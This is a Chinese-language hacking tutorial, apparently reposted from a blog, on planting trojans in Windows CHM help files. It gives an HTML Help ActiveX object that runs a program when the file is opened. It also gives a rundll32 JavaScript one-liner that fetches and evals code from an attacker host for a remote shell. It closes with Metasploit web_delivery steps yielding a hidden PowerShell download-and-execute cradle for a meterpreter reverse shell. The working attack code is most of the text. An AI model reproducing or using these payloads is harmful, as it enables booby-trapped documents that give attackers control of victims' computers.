CHM木马

一. 弹出计算器

打开EasyCHM,工具 -> 反编译指定的CHM,选择目标文件和反编译工作目录。

 进入反编译的工作目录,找到并编辑主页文件,这里是index.html

在<body></body>标签内部插入执行代码,这里以弹出计算器为例

代码

<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
 <PARAM name="Button" value="Bitmap::shortcut">
 <PARAM name="Item1" value=',calc.exe'>
 <PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>

 重新在EasyCHM中编译这个项目,生成新的文件,打开文件可以看到成功弹出计算器

二. CHM + JSBackdoor执行payload

MyJSRat: https://github.com/Ridter/MyJSRat

python MyJSRat.py -i <Your IP> -p <PORT>

访问: http://192.168.1.150:8080/wtf 获取攻击代码

rundll32.exe javascript:"..mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.1.150:8080/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}

我们把这串代码复制到图中value值內,注意rundll32.exe前后加了两个逗号

重新编译执行该文件,打开即可获得交互式shell

执行命令时,目标桌面上会闪过黑框,可以将执行命令写入到文件内,然后使用read命令读取

三. CHM + meterpreter

可以在之前的基础上加-c "要执行的命令",在获取JS shell时调用powershell获取shell

获取powershell代码

(1)使用veil,unicorn等工具生成,然后利用msf进行监听

(2)使用web_delivery模块

msf > use exploit/multi/script/web_delivery
msf exploit(web_delivery) > set target 2
target => 2
msf exploit(web_delivery) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(web_delivery) > set LHOST 192.168.1.150
LHOST => 192.168.1.150
msf exploit(web_delivery) > set LPORT 9999
LPORT => 9999
msf exploit(web_delivery) > set SRVPORT 80
SRVPORT => 80
msf exploit(web_delivery) > set URIPATH /
URIPATH => /
msf exploit(web_delivery) > exploit 

获得powershell代码

powershell.exe -nop -w hidden -c $h=new-object net.webclient;$h.proxy=[Net.WebRequest]::GetSystemWebProxy();$h.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $h.downloadstring('http://192.168.1.150:8081/');

 

获取到powershell代码之后,我们监听时使用-c 参数自动执行powershell命令

 python MyJSRat.py -i <Your IP> -p <PORT> -c "刚才的powershell代码"

参考链接:

  http://www.91ri.org/15506.html 

  http://www.freebuf.com/articles/system/119874.html

原文地址:https://www.cnblogs.com/ssooking/p/6172120.html